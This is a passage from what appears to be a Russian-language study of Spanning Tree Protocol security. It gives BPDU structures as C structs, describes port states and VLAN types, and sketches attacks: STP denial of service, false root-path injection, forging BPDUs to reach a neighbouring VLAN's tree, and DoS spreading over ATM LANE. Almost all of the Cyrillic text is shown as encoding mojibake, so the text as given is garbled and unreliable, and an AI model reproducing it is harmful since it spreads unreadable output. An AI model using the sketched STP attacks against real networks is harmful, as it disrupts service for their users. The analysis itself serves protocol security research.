nated cost ìîæåò ïðèíèìàòü ó÷àñòèå êàê â âûáîðàõ íàçíà÷åííîãî ìîñòà,
òàê è â âûáîðàõ êîðíåâîãî ìîñòà.
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Ñìåùåíèå Íàçâàíèå Ðàçìåð
1 Protocol Identifier 2 bytes

Protocol Version Identifier 1 byte
BPDU type 1 byte
Flags 1 byte
Root Identifier 8 bytes
Root Path Cost 4 bytes
Bridge Identifier 8 bytes
Port Identifier 2 bytes
Message Age 2 bytes
Max Age 2 bytes
Hello Time 2 bytes

35 Forward Delay 2 bytes

Òàáëèöà 1: Ñòðóêòóðà C-BPDU

Íàçâàíèå Ðàçìåð
Protocol Identifier 2 bytes
Protocol Version Identifier 1 byte
BPDU type 1 byte

Òàáëèöà 2: Ñòðóêòóðà TCN-BPDU

Âî âðåìÿ ðàáîòû óñòðîéñòâà àíîíñèðóþò ñåáÿ è ïàðàìåòðû ñâîèõ ïîð-
òîâ ÷åðåç Configuration BPDU (äàëåå íàçûâàåìûå c-bpdu). Ôîðìàò c-
bpdu ïðèâåäåí â òàáëèöå 1 (ñîãëàñíî [1], 9.3.1, ðèñóíîê 9-1) è íà ðèñóíêå
2 (ñîãëàñíî [1], 8.9.1).

Äëÿ ñîîáùåíèÿ îá èçìåíåíèÿõ â òîïîëîãèè èñïîëüçóþòñÿ topology chan-
ge notification BPDUs, ôîðìàò êîòîðûõ ïðèâåäåí â òàáëèöå 2 è íà ðè-
ñóíêå 3 (ñîãëàñíî [1], ïàðàãðàô 8.3.5, ñòð. 63, ïîñëåäíèé àáçàö).

Ñîáñòâåííî èíôîðìàöèè ïåðåäàåòñÿ ñîâñåì íåìíîãî - òîëüêî ñòàòóñ.
Ïî ôàêòó ïðèõîäà òàêîãî BPDU ëþáîé êîììóòàòîð óìåíüøàåò âðåìÿ
æèçíè çàïèñåé â ñâîåé òàáëèöå êîììóòàöèè äî ìèíèìóìà, îïðåäåëåííîãî
ñòàíäàðòîì [1].

Â ìîìåíò ïîëó÷åíèÿ êîíôèãóðàöèîííîãî bpdu STP-ñîâìåñòèìûé ìîñò
ìîæåò îïðåäåëèòü, ÷òî ïðèøåäøàÿ èíôîðìàöèÿ äîëæíà îáíîâèòü èìå-
þùóþñÿ ó íåãî èíôîðìàöèþ. Â ýòîì ñëó÷àå óñòðîéñòâî èçìåíÿåò ñî-
äåðæèìîå àíîíñèðóåìûõ èì bpdu òàê, ÷òîáû àíîíñèðîâàòü âûèãðàâøåå
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typedef struct {
Bpdu_type type;
Identifier root_id;
Cost root_path_cost;
Identifier bridge_id;
Port_id port_id;
Time message_age;
Time max_age;
Time hello_time;
Time forward_delay;
Flag topology_change_acknowledgement;
Flag topology_change;

} Config_bpdu;

Ðèñ. 2: Ñòðóêòóðà C-BPDU íà ÿçûêå C

typedef struct {
Bpdu_type type;

} Tcn_bpdu;

Ðèñ. 3: Ñòðóêòóðà TCN-BPDU íà ÿçûêå C

óñòðîéñòâî, à íå ñåáÿ. Îáðàòèòå âíèìàíèå, ÷òî BPDU íå ïðîõîäÿò ñêâîçü
óñòðîéñòâà, êîòîðûå ïîääåðæèâàþò STP - îíè ëèøü, ïðè îïðåäåëåííûõ
óñëîâèÿõ, èíèöèèðóþò íà ¾ïðîìåæóòî÷íîì¿ óñòðîéñòâå ïîñûëêó ñîáñò-
âåííûõ BPDU ([1], 8.3.2) è/èëè èçìåíåíèå ñîäåðæèìîãî BPDU ïîñûëà-
åìûõ ¾ïðîìåæóòî÷íûì¿ óñòðîéñòâîì.

Â ìîìåíò îáíîâëåíèÿ êîíôèãóðàöèè STP-ñîâìåñòèìîå óñòðîéñòâî èç-
ìåíÿåò ñîñòîÿíèå ñâîèõ ïîðòîâ - îíè ïîî÷åðåäíî ïðèíèìàþò îäíî èç
ñëåäóþùèõ âîçìîæíûõ çíà÷åíèé ([1], 8.4):

áëîêèðîâàí (Blocking) Çàáëîêèðîâàí. Îäíàêî, ôðåéìû ñîäåðæàùèå
STP ïàêåòû (bpdu), ïðèíèìàþòñÿ è îáðàáàòûâàþòñÿ, â îòëè÷èå îò
ïîëüçîâàòåëüñêèõ ôðåéìîâ ([1], 8.4.1);

ñëóøàåò (Listening) Ïåðâûé ýòàï ïîäãîòîâêè ê ñîñòîÿíèþ Forwarding.
Ôðåéìû, ñîäåðæàùèå STP ïàêåòû (bpdu), ïðèíèìàþòñÿ è îáðàáà-
òûâàþòñÿ, â îòëè÷èå îò ïîëüçîâàòåëüñêèõ ôðåéìîâ ([1], 8.4.2);

îáó÷àåòñÿ (Learning) Âòîðîé ýòàï ïîäãîòîâêè ê ñîñòîÿíèþ Forwar-
ding. Ôðåéìû, ñîäåðæàùèå STP ïàêåòû (bpdu), ïðèíèìàþòñÿ è îá-
ðàáàòûâàþòñÿ, â îòëè÷èå îò ïîëüçîâàòåëüñêèõ ôðåéìîâ ([1], 8.4.3);

ïåðåäàåò (forwarding) Ðàáî÷åå ñîñòîÿíèå ïîðòîâ óñòðîéñòâà. Ïåðåäà-
þòñÿ êàê ôðåéìû, ñîäåðæàùèå STP ïàêåòû, òàê è ôðåéìû ïîëüçî-
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âàòåëüñêèõ ïðîòîêîëîâ ([1], 8.4.4).

Âðåìÿ, íà êîòîðîå ïîðò ïîïàäàåò â òî èëè èíîå ñîñòîÿíèå, îïðåäåëÿ-
åòñÿ çíà÷åíèÿìè ïàóç, êîòîðûå ïåðåäàþòñÿ ïîñðåäñòâîì C-BPDU âìåñòå
ñ îñòàëüíûìè ïàðàìåòðàìè (ñì. ðàçäåë 6.4.7 íà ñòð. 42).

Ñîãëàñíî ñòàíäàðòó, âî âðåìÿ íàõîæäåíèÿ â ñîñòîÿíèÿõ Blocking, Lis-
tening è Learning ïåðåñûëêà íå-STP ïàêåòîâ íå ðàçðåøåíà ([1], 8.4.1-
8.4.3). Â òî æå âðåìÿ, bpdu-ïàêåòû íå îáðàáàòûâàþòñÿ òîëüêî â ñëó÷àå
åñëè ïîðò âûêëþ÷åí àäìèíèñòðàòîðîì ([1], 8.4.5). Ýòî ãîâîðèò î òîì,
÷òî åñëè ïîðòû íàõîäÿòñÿ â ðåæèìàõ Blocking, Listening èëè Learning
- ñåòü ðàáîòàåò òîëüêî íà STP ïðîòîêîë, íî íå íà ïîëüçîâàòåëÿ. Ýòèì
ìîæíî âîñïîëüçîâàòüñÿ äëÿ îðãàíèçàöèè àòàêè ¾îòêàç â îáñëóæèâàíèè¿
(Denial of Service, DoS), â òåðìèíàõ [3].

Ñîáñòâåííî, ïðè÷èíà, ïî êîòîðîé ïðîòîêîë ðàáîòàåò èìåííî òàêèì îá-
ðàçîì ([1], 8.3.4), ïðîñòà - âñå òàê îðãàíèçîâàíî äëÿ òîãî, ÷òîáû èçáåæàòü
õàîòè÷íîãî äóáëèðîâàíèÿ è/èëè ðàçìíîæåíèÿ ïàêåòîâ â ðàçëè÷íûå ñåã-
ìåíòû ñåòè â ìîìåíò ïåðåñòðîéêè åå òîïîëîãèè. Äóáëèðîâàíèå è/èëè
ðàçìíîæåíèå ïàêåòîâ âîçìîæíî, íàïðèìåð, çà ñ÷åò âîçíèêíîâåíèÿ âðå-
ìåííûõ êîëåö, âîçíèêàþùèõ â ïðîöåññå ïåðåêëþ÷åíèÿ ñîñòîÿíèÿ òîãî
èëè èíîãî ëèíêà. Îïèñàíèå DoS àòàêè, à òàêæå âåëè÷èíû ïàðàìåòðîâ,
íåîáõîäèìûå äëÿ ìàêñèìàëüíîé åå ýôôåêòèâíîñòè, ñì. â ðàçäåëå 6 íà
ñòð. 29.

Â ñèëó òîãî, ÷òî òîïîëîãèÿ ñåòè îïðåäåëÿåòñÿ ïðè ó÷àñòèè ïðîòîêî-
ëà STP âîçìîæíà àòàêà ïî ñõåìå ëîæíûé îáúåêò ÐÂÑ ñ íàâÿçûâàíèåì
ëîæíîãî ïóòè (â òåðìèíîëîãèè [3]). Ïîäðîáíîñòè ñì. â ðàçäåëå 6.5, ñòð.
43.

Ñëåäóåò îòìåòèòü, ÷òî ñòàíäàðò íå óòî÷íÿåò òåðìèí LAN-ñåãìåíò â
äàííîì êîíòåêñòå, ÷òî åùå ðàç óêàçûâàåò, ÷òî ýòî âåùü âåñüìà îòíîñè-
òåëüíàÿ, òàê ÷òî ñîñòàâ ñîîòâåòñòâóþùèõ ñåòåé áóäåò ìåíÿòüñÿ â çàâè-
ñèìîñòè îò âûáðàííîé òî÷êè ïîäêëþ÷åíèÿ.

Âîîáùå ãîâîðÿ, îïèñûâàåìûå íà ïðèìåðå Ethernet óÿçâèìîñòè ïðîòî-
êîëà îòíîñÿòñÿ (÷àñòü ìîæåò áûòü ïðèìåíåíà ïðàêòè÷åñêè áåç èçìåíå-
íèé àëãîðèòìà) ê ëþáûì òîïîëîãèÿì, íà êîòîðûõ ìîæåò ðàáîòàòü STP.
Êàê ñëåäñòâèå, ïðîòîêîë è ðàññìàòðèâàåìûå àòàêè, òðåáóþùèå âêëþ-
÷åííîé ïîääåðæêè STP, ìîãóò áûòü ïðèìåíåíû íà ëþáûõ ñåòåâûõ òîïî-
ëîãèÿõ, íå äîïóñêàþùèõ ëîãè÷åñêèõ êîëåö). Â [1] ñïåöèàëüíî îáðàùåíî
âíèìàíèå íà òî, ÷òî STP ìîæåò õîäèòü íå òîëüêî ïîâåðõ Ethernet, íî è
ïîâåðõ äðóãèõ ñåòåé ñ äðóãèì ïðèíöèïîì MAC.
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Forwarding

Blocking
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Ðèñ. 4: STP â äåéñòâèè

Äëÿ áîëüøåé íàãëÿäíîñòè è ëó÷øåãî ïîíèìàíèÿ ðàáîòû STP àâòîðû
âêëþ÷èëè ïðèìåðû, èçîáðàæåííûå íà ðèñóíêàõ 1 è 4. Êîììåíòàðèè ê
ðèñóíêó 1 ðàñïîëîæåíû â ñàìîì íà÷àëå ýòîé ãëàâû. Ðàññìîòðèì òåïåðü
ðàáîòó STP áîëåå ïîäðîáíî, äëÿ ÷åãî îáðàòèìñÿ ê ðèñóíêó 4.

Êàæäûé ïîðò êàæäîãî ìîñòà èìååò ñâîþ âåëè÷èíó Path Cost, îáî-
çíà÷åííóþ êàê PC=XXX. Ìîñò A ÿâëÿåòñÿ Root Bridge, ò.ê. èìååò íàè-
ìåíüøåå çíà÷åíèå Bridge Identifier. Äëÿ ñåòè A (LAN A) Designated Brid-
ge Port ÿâëÿåòñÿ ïîðò 1 ìîñòà À. Îäèí èç ïîðòîâ êàæäîãî èç ÷åòûðåõ
îñòàâøèõñÿ ìîñòîâ ÿâëÿåòñÿ Root Port (ýòî ïîðò, áëèæàéøèé ê Root
Bridge).

Ìîñòû X è B ïðåäîñòàâëÿþò äîñòóï ê ñåòè B ñ îäèíàêîâûì ïàðàìåò-
ðîì Path Cost. Îäíàêî, â äàííîì ñëó÷àå, ïîðò ìîñòà B âûáðàí â êà÷åñò-
âå Designated Bridge Port, ò.ê. ýòîò ìîñò èìååò ìåíüøåå çíà÷åíèå Bridge
Identifier.
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Ïîðò ìîñòà C âûáðàí â êà÷åñòâå Designated Bridge Port äëÿ ñåòè C,
ò.ê. îí ïðåäîñòàâëÿåò áîëåå ¾äåøåâûé¿ äîñòóï ê ýòîé ñåòè (ñòîèìîñòü
ïóòè ÷åðåç ìîñòû C è B ðàâíà 200, à ÷åðåç ìîñòû Y è B - 300).

Â ñòàáèëüíîì ñîñòîÿíèè âñå ìîñòû îæèäàþò ïåðèîäè÷åñêîé ïîñûëêè
Root Bridge ñïåöèàëüíûõ ïàêåòîâ - Hello BPDU. Åñëè â òå÷åíèå ïðîìå-
æóòêà âðåìåíè, îïðåäåëÿåìîãî çíà÷åíèåì Max Age Time, òàêèõ ïàêå-
òîâ îò Root Bridge íå ïîñòóïàåò, ìîñò ñ÷èòàåò, ÷òî ëèáî ìåæäó íèì è
Root Bridge íàðóøåíà ñâÿçü, ëèáî ïîñëåäíèé îòêëþ÷åí. Â ýòîì ñëó÷àå
ìîñò èíèöèèðóåò ðåêîíôèãóðàöèþ òîïîëîãèè ñåòè. Ïóòåì óñòàíîâêè ñî-
îòâåòñòâóþùèõ ïàðàìåòðîâ ìîæíî ðåãóëèðîâàòü, íàñêîëüêî áûñòðî ìîñ-
òû áóäóò îáíàðóæèâàòü èçìåíåíèÿ â òîïîëîãèè è çàäåéñòâîâàòü çàïàñ-
íûå ìàðøðóòû. Íà ïðàêòèêå ñ ðåãóëèðîâêîé çíà÷åíèé STP ïðèõîäèòñÿ
ñòàëêèâàòüñÿ â îñíîâíîì â äâóõ ñëó÷àÿõ - åñëè â ñèëó îáñòîÿòåëüñòâ
STP ïåðåâîäèò â ðåæèì ¾çàïàñíîãî¿ áîëåå áûñòðûé ëèíê è åñëè ñåòü
èìååò ïëîõóþ ñõîäèìîñòü íà çíà÷åíèÿõ ïî óìîë÷àíèþ èç-çà áîëüøîãî
êîëè÷åñòâà óñòðîéñòâ.

2 STP & VLANs
2.1 Êðàòêîå ââåäåíèå â òåõíîëîãèþ VLAN
×òî åñòü VLAN? Virtual LAN, íåêîòîðîå ñðåäñòâî ëîãè÷åñêîãî äåëåíèÿ

ñåòè íà ÷àñòè. Îñíîâíàÿ èäåÿ çàêëþ÷àåòñÿ â òîì, ÷òîáû âûäåëèòü íåêóþ
÷àñòü ñåòè â íåçàâèñèìóþ ãðóïïó. Â ñîâðåìåííîé ïðàêòèêå î÷åíü ÷àñòî
ïðèìåíÿþòñÿ äëÿ ðàçäåëåíèÿ äîñòóïà ê òîé èëè èíîé ÷àñòè ñåòè. Ñðå-
äè ëþäåé çàíèìàþùèõñÿ àäìèíèñòðèðîâàíèåì ËÂÑ âñòðå÷àþòñÿ ëþäè,
ñ÷èòàþùèå, ÷òî âûäåëåííûå â VLAN ñåãìåíòû ñåòè ïîëíîñòüþ îòäåëåíû
äðóã îò äðóãà, ÷óòü ëè íå íà ôèçè÷åñêîì óðîâíå. Òàê ëè ýòî? Äàâàéòå
ïîñìîòðèì. Âî ïåðâûõ, êàêèå áûâàþò VLAN'û: VLAN'û áûâàþò MAC-
based, port based è ¾òåãèðîâàííûå¿ (îïðåäåëÿþòñÿ ñòàíäàðòîì [4]).

MAC based VLAN � ýòî ãðóïïà ðàáî÷èõ ñòàíöèé, îáúåäèíåííûõ íà
îñíîâå ôèçè÷åñêèõ àäðåñîâ èõ ñåòåâûõ àäàïòåðîâ, â ñëó÷àå Ethernet - íà
îñíîâå MAC-àäðåñà Ethernet àäàïòåðà êîìïüþòåðà (àäðåñà åãî NIC).

Port based VLAN'û � ýòî VLAN'û, ñîçäàâàåìûå èç ïîðòîâ êîììóòàòî-
ðà ïóòåì îáúåäèíåíèÿ èõ â ãðóïïû.

Íàêîíåö, 802.1q VLAN'û (dot 1 q), èëè tag-based VLAN'û ïîÿâëÿþòñÿ
â ñðåäàõ ïåðåäà÷è äàííûõ ñ ìîäèôèöèðîâàííûìè ôðåéìàìè. Ìîäèôè-
êàòîð ôðåéìà ïðåäñòàâëÿåò ñîáîé íåêîòîðóþ äîáàâêó ê ñòàíäàðòíîìó
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òèïó ôðåéìà. Ñîãëàñíî ñîäåðæèìîìó ýòîé ¾äîáàâêè¿ óñòðîéñòâî, îá-
ñëóæèâàþùåå ñåòü, ìîæåò ðàçäåëÿòü òðàôèê, â òîì ÷èñëå ïî ïàðàìåòðó
¾VLAN ID¿. Â òèïè÷íîì ñëó÷àå, òàêèå VLAN ¾õîäÿò¿ âíóòðè òðàíêî-
âûõ (òåãèðîâàííûõ) êàíàëîâ, èëè, ïåðåôðàçèðóÿ, ìåæäó òåãèðóåìûìè
èíòåðôåéñàìè. Â òåðìèíîëîãèè Cisco Systems òàêîé ïîðò íàçûâàåòñÿ
¾òðàíêîâûì¿ (trunk).

Îñîáåííîñòè .1q VLANîâ:

• Ñóùåñòâóåò íåêèé default VLAN, òåã êîòîðîãî îïðåäåëÿåò åãî VLAN
id=0.

• Ìîãóò îäíîâðåìåííî ñóùåñòâîâàòü íåòåãèðóåìûå è òåãèðóåìûå ïîð-
òû, è òå è äðóãèå ìîãóò èìåòü ïðè ýòîì ÷ëåíñòâî â íåêèõ VLAN.

• Ïðè âõîäå â íå òåãèðóåìûé ïîðò, ÿâëÿþùèéñÿ ÷ëåíîì VLAN îòëè÷-
íîãî îò default, òðàôèê ¾îáîðà÷èâàåòñÿ¿ â íåêèé âíóòðåííèé ôîð-
ìàò, ïîçâîëÿþùèé îïðåäåëèòü êàêîìó VLAN ïðèíàäëåæèò ýòîò ïà-
êåò.

• VLAN'û ìîãóò ñîåäèíÿòüñÿ ìåæäó ñîáîé ÷åðåç íåòåãèðóåìûå ïîð-
òû. Íàïðèìåð, ïîðò 1 è ïîðò 2 ñîñòîÿò â vlan1 è vlan2 ñîîòâåòñò-
âåííî, ïðè ýòîì îíè íåòåãèðóåìûå (íå-òðàíêîâûå). Òàê âîò, åñëè
ñîåäèíèòü ýòè ïîðòû ñàìûì îáû÷íûì êðîññîì ïîëó÷èòñÿ îáúåäè-
íåíèå vlan1 è vlan2, ïðè ýòîì íà ëèíêå â ìîìåíò ïðîõîäà ïàêòà
ìåæäó ýòèìè ïîðòàìè ïðîèñõîäèò êîíâåðòàöèÿ íîìåðîâ VLAN, òî
åñòü òðàôèê èç ïîðòà 1 â ïîðò 2 ñ VLAN ID =1 âûõîäèò èç ïîðòà
1 óæå ñ vlan id 0 (default, èäåíòè÷íî ¾íå îáåðíóòîìó¿ òðàôèêó),
à â ïîðòó 2 îáîðà÷èâàåòñÿ è ïîëó÷àåò VLAN ID=2. Ïðè ýòîì, ïî
ôîðìàòó ôðåéìîâ, âîøåäøèõ â ïîðò 2 èç ïîðòà 1 óæå íèêàê íå
ïîíÿòü, ÷òî îíè áûëè êîãäà-òî â vlan1.

Ñ òî÷êè çðåíèÿ ôóíêöèîíèðîâàíèÿ íåêîòîðîãî ìîñòà, ñåòü, â êîòîðîé
ïîÿâëÿþòñÿ VLAN, äîëæíà îáñëóæèâàòüñÿ ñ èíîé òàáëèöåé êîììóòàöèè,
÷åì òà, êîòîðàÿ ïðèìåíÿåòñÿ äëÿ ñåòè áåç VLAN. Â ñåòÿõ ñ èñïîëüçîâàíè-
åì VLAN ïîÿâëÿåòñÿ åùå îäèí ïàðàìåòð â òàáëèöå êîììóòàöèè - VLAN
id è ïðàâèëà êîììóòàöèè ïðèâÿçûâàþòñÿ ê ýòîìó ïàðàìåòðó òàê, ÷òîáû
êîììóòàöèÿ ôðåéìîâ ìîãëà ïðîèñõîäèòü òîëüêî ìåæäó ïîðòàìè, ÿâëÿ-
þùèìèñÿ ÷ëåíàìè îäíîé è òîé æå VLAN. Â ñëó÷àå, åñëè ÷àñòü ïîðòîâ
êîììóòàòîðà â îäíîì VLAN'å, à äðóãàÿ ÷àñòü - â äðóãîì VLAN, òî òîãäà,
ñ òî÷êè çðåíèÿ íîðìàëüíîãî ôóíêöèîíèðîâàíèÿ ñåòè, ìîæíî ðàññìàòðè-
âàòü ýòó ñèòóàöèþ êàê äâà íåçàâèñèìûõ êîììóòàòîðà. Ýòî óòâåðæäåíèå
äåéñòâèòåëüíî ñïðàâåäëèâî äëÿ ïîëüçîâàòåëüñêîãî òðàôèêà, îäíàêî îíî
íå ñîâñåì âåðíî äëÿ ñèòóàöèè ñ STP è BPDU, îáåñïå÷èâàþùèõ ôóíêöè-
îíàëüíîñòü, òðåáóåìóþ àëãîðèòìîì Spanning Tree.
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2.2 Ìèô î ðàçäåëüíîì äåðåâå STP â êàæäîì VLAN
Ïðåæäå âñåãî, ñëåäóåò çàîñòðèòü âíèìàíèå íà ôóíêöèîíèðîâàíèè STP

â ñèñòåìàõ ñ ïîääåðæêîé VLAN. Ïðè ýòîì íàäî îòìåòèòü, ÷òî íàèáîëåå
¾ïðîäâèíóòûå¿ óñòðîéñòâà, ïîääåðæèâàþùèå VLAN (íî íå âñå), ïîä-
äåðæèâàþò îòäåëüíîå STP äåðåâî íà êàæäûé VLAN. Òàêèì îáðàçîì âñå
STP àòàêè íà òàêèå óñòðîéñòâà, íà ïåðâûé âçãëÿä, áóäóò ýôôåêòèâíû
òîëüêî â ïðåäåëàõ äàííîãî VLAN (ïî ïîâîäó VLAN ñì. [4]). C òî÷êè
çðåíèÿ STP âíóòðè vlan ìû èìååì ñòàíäàðòíóþ ñõåìó ôóíêöèîíèðîâà-
íèÿ ïîðòîâ - êàæäûé ïîðò, ñîãëàñíî ïðîòîêîëó, ïîëó÷àåò è îòïðàâëÿåò
BPDU è, â çàâèñèìîñòè îò èõ ñîäåðæèìîãî, èçìåíÿåò ñâîå ñîñòîÿíèå.

Òåì íå ìåíåå, ÷àñòü óñòðîéñòâ, ïîääåðæèâàþùèõ VLAN, èìååò åäèíñò-
âåííîå Spanning Tree äåðåâî íà âåñü êîììóòàòîð (íàïðèìåð,ìîäåëè Intel
460T), ÷òî äåëàåò âñþ ñåòü, ïîñòðîåííóþ íà òàêèõ óñòðîéñòâàõ, óÿçâèìîé
êî âñåì STP àòàêàì.

Ñ òî÷êè çðåíèÿ îáñóæäàåìûõ ïðîáëåì, óñòðîéñòâà âòîðîãî òèïà ñ
åäèíñòâåííûì íà âñå óñòðîéñòâî STP-äåðåâîì ïî ÷àñòè ôóíêöèîíèðî-
âàíèÿ STP àòàê íè÷åì íå îòëè÷àþòñÿ îò ðàññìàòðèâàåìîãî íèæå ñëó-
÷àÿ áåç ïîääåðæêè VLAN, òàê ÷òî ìû íå áóäåì ðàññìàòðèâàòü îòäåëüíî
ýòîò âàðèàíò. Ñî âòîðûì òèïîì óñòðîéñòâ, ïîääåðæèâàþùèõ ñîáñòâåí-
íîå STP-äåðåâî íà êàæäûé VLAN, äåëà îáñòîÿò íåìíîãî ïî-äðóãîìó.
×òîáû ïîäîéòè ïîáëèæå ê çàãîëîâêó ýòîé ãëàâû, äàâàéòå îáñóäèì ïà-
ðó ïðàêòè÷åñêèõ ïðèìåðîâ, êîòîðûå ìîãóò âñòðåòèòüñÿ â íîðìàëüíîé
(ðàáî÷åé) ñèòóàöèè, à òàêæå ê òîìó, êàê êîììóòàòîð ìîæåò îáåñïå÷èòü
ðàáîòó èìåííî ïî òàêîìó âàðèàíòó.⊗

2.3 Ìèô î ôèçè÷åñêîé ðàçäåëüíîñòè VLAN'îâ
Èòàê, êàê óæå óêàçûâàëîñü ðàíåå, port based VLAN'û ìîæíî îáú-

åäèíèòü, ïðîñòî âîòêíóâ ïàò÷-êîðä â ñîñåäíèå ïîðòû, ïîäêëþ÷åííûå â
ðàçíûå VLAN. Ïîñëå òîãî, êàê ýòî ïðîèçîéäåò, ïîðòû, îáúåäèíåííûå
â VLAN'û, ñ òî÷êè çðåíèÿ êîììóòàòîðà ïî-ïðåæíåìó áóäóò ñîñòîÿòü
â ðàçíûõ VLAN - äî òåõ ïîð, ïîêà íå èñïîëüçóåòñÿ GVRP (ñì. ðàçäåë
10, ñòð. 57), ïðèíàäëåæíîñòü ïîðòà òîìó èëè èíîìó vlan îïðåäåëÿåò-
ñÿ èñêëþ÷èòåëüíî àäìèíèñòðàòîðîì (è ïðàâèëîì ïî óìîë÷àíèþ, åñëè
àäìèíèñòðàòîð íå ñîèçâîëèë îïðåäåëèòü äàííûé ïîðò â òîò èëè èíîé
VLAN). Îäíàêî äëÿ êîððåêòíîãî ôóíêöèîíèðîâàíèÿ STP îïèñàííàÿ ñè-
òóàöèÿ äîëæíà îòñëåæèâàòüñÿ îñîáåííûì îáðàçîì, òî åñòü, ñ òî÷êè çðå-
íèÿ STP, åñëè äâà èçíà÷àëüíî ¾íåçàâèñèìûõ¿ äåðåâà âäðóã ñîåäèíèëèñü,
òî ïîÿâèëñÿ ïîâîä äëÿ STP-âûáîðîâ. Äåéñòâèòåëüíî, àíàëîãè÷íàÿ ñè-
òóàöèÿ âîçíèêàëà íà ïðàêòèêå è àëãîðèòì STP ñðàáàòûâàë. Ñ ó÷åòîì
âîçìîæíîñòè êîíâåðòàöèè VLAN ID ñòàíîâèòñÿ ïîíÿòíî, ÷òî íà ñàìîì
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äåëå íåçàâèñèìîñòü STP äåðåâà â ïðåäåëàõ VLAN � ýòî ìèô. Âîçíèêàåò
èäåÿ: ÷òî åñëè ñãåíåðèðîâàòü STP BPDU ñ ïàðàìåòðàìè, àíàëîãè÷íûìè
òåì BPDU, êîòîðûå ðàñïðîñòðàíÿþòñÿ â ñîñåäíåì VLAN, ìîæíî çàñòà-
âèòü STP óñòðîéñòâî óñòðîèòü ïåðåâûáîðû ñ ó÷àñòèåì èíòåðôåéñà, íà-
õîäÿùåãîñÿ â ñîñåäíåì VLAN. Ïðàâäà åñòü åùå îäèí âàðèàíò ïåðåäà÷è
BPDU, êîòîðûé ïîçâîëèë áû îòñëåæèâàòü ñèòóàöèþ ñ VLAN ñîåäèíåí-
íûìè, ÷åðåç íåòåãèðóåìûé ïîðò, à èìåííî - ïåðåäàâàòü BPDU âñåãäà â
òåãèðóåìîì ôðåéìå è èãíîðèðîâàòü íåòåãèðóåìûå ïîðòû.

Íà ìîìåíò íàïèñàíèÿ ýòîé ãëàâû àâòîðû åùå íå çàâåðøèëè èññëå-
äîâàíèå ñòàíäàðòà [4], òàê ÷òî îïèñàíèå èñïîëüçóåìîé â áîëüøèíñòâå
óñòðîéñòâ ðåàëèçàöèè ¾îòäåëüíîãî¿ STP äåðåâà íà êàæäûé VLAN ïîêà
çà ðàìêàìè äàííîãî èññëåäîâàíèÿ è áóäåò âêëþ÷åíî ëèøü ÷åðåç íåêîòî-
ðîå, íàäååìñÿ, íåáîëüøîå âðåìÿ6. Âïðî÷åì, ñ òî÷êè çðåíèÿ âîçìîæíûõ
àòàê íà STP äåðåâî ñîñåäíåãî VLAN, íåò ïðèíöèïèàëüíîé ðàçíèöû â
êàêîì ôðåéìå ïåðåäàþòñÿ STP ïàêåòû, ïîñêîëüêó ãåíåðàöèÿ òåãèðîâàí-
íûõ ôðåéìîâ íå ñîñòàâëÿåò ïðîáëåìû è äàâíî ðåàëèçîâàíà âî ìíîãèõ
UNIX-ïîäîáíûõ ÎÑ. Íàïðèìåð â OpenBSD ïîääåðæêà VLAN èäåò ¾èç
êîðîáêè¿. Ðàçóìååòñÿ ïîääåðæêà VLAN åñòü è äëÿ Linux, îäíàêî â íå-
êîòîðûõ äèñòðèáóòèâàõ îíà ïîòðåáóåò óñòàíîâêè ¾çàïëàòêè¿ (patch) íà
ÿäðî.⊗

3 Îñîáåííîñòè STP â ãåòåðîãåííûõ ñðåäàõ íà ïðè-
ìåðå ATM + Ethernet

Õî÷åòñÿ îñòàíîâèòüñÿ íà îñîáåííîñòÿõ ôóíêöèîíèðîâàíèÿ STP â ñëîæ-
íûõ ñåòÿõ, à îñîáåííî � ãåòåðîãåííûõ ñåòÿõ. Ðàñ÷åò ïîñëåäñòâèé ðàáî-
òû àòàêè â òàêèõ ñåòÿõ ñòàíîâèòñÿ îñîáåííî ñëîæíûì. Âîçüìåì â êà-
÷åñòâå ïðèìåðà ñåòü, ïîñòðîåííóþ ñ ïðèìåíåíèåì Ethernet òåõíîëîãèé
è ATM LANE. Íà ðèñóíêå 5 èçîáðàæåíà ëîãè÷åñêàÿ ñòðóêòóðà ñåòè, à
íà ðèñóíêå 6 � åå ôèçè÷åñêàÿ ñòðóêòóðà. Äî òåõ ïîð, ïîêà ìû ñìîòðèì
íà ôèçè÷åñêóþ òîïîëîãèþ, âñå êàæåòñÿ äîñòàòî÷íî ïðîñòûì. Îäíàêî,
ïîñëå ðàññìîòðåíèÿ ëîãèêè êàðòèíà çíà÷èòåëüíî óñëîæíÿåòñÿ. Äåëî â
òîì, ÷òî ðàñïðîñòðàíåíèå èíôîðìàöèè î VLAN ìîæåò èäòè è âíóòðè
îäíîãî òåãèðóåìîãî Ethernet ëèíêà (trunk), è âíóòðè ATM ÷åðåç LANE
(LAN Emulation), à ìàðøðóòèçàòîð ìîæåò èãðàòü ðîëü ìîñòà, åñëè íà
íåì âêëþ÷åíà ïîääåðæêà BVI (Bridging Virtual Interface). Ýòî, êñòàòè,
ÿâëÿåòñÿ îñíîâíîé ïðè÷èíîé, ïî êîòîðîé èìååò ñìûñë ïîääåðæêà STP
íà ìàðøðóòèçàòîðàõ. Âñÿ ýòà ¾êàøà¿ óïðàâëÿåòñÿ, â òîì ÷èñëå, ïî STP,
ïðè÷åì êîëè÷åñòâî âîçìîæíûõ êîëåö ìîæåò èñ÷èñëÿòüñÿ äåñÿòêàìè çà
ñ÷åò êîëåö, êîòîðûå ìîãëè áû îáðàçîâàòü ðàçëè÷íûå ëîãè÷åñêèå ñóù-

6Ýòîò è ïðåäûäóùèé ïîäðàçäåëû òðåáóþò ñóùåñòâåííîé äîðàáîòêè.
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Ðèñ. 5: Ïðèìåð ëîãè÷åñêîé ñòðóêòóðû ñåòè

íîñòè. Îñíîâíàÿ ñëîæíîñòü ñîñòîèò â òîì, ÷òî STP ìîæåò ¾ðàçðóáèòü¿
êîëüöî â ëþáîì ìåñòå, ðàñ÷åò êîòîðîãî â ñëó÷àå ñ ñåòÿìè ïîäîáíîé ñëîæ-
íîñòè ìîæåò îêàçàòüñÿ äåëîì íåòðèâèàëüíûì. Î÷åâèäíî, ÷òî åñëè ñåòè
ðàçäåëÿþòñÿ ÷åðåç BVI, òî åñòü íåìàëûå øàíñû, ÷òî STP-DoS ìîæåò ðàñ-
ïðîñòðàíÿòüñÿ ïîâåðõ ATM. Â ëþáîì ñëó÷àå ATM ñîåäèíåíèÿ ñ èñïîëü-
çîâàíèåì LANE ìîãóò ïðîçðà÷íî ïåðåäàòü àòàêó ÷åðåç LANE, ïîñêîëüêó
LANE � ýòî ñâîåãî ðîäà ïðîçðà÷íàÿ èíêàïñóëÿöèÿ ôðåéìîâ Ethernet â
ÿ÷åéêè ÀÒÌ7.

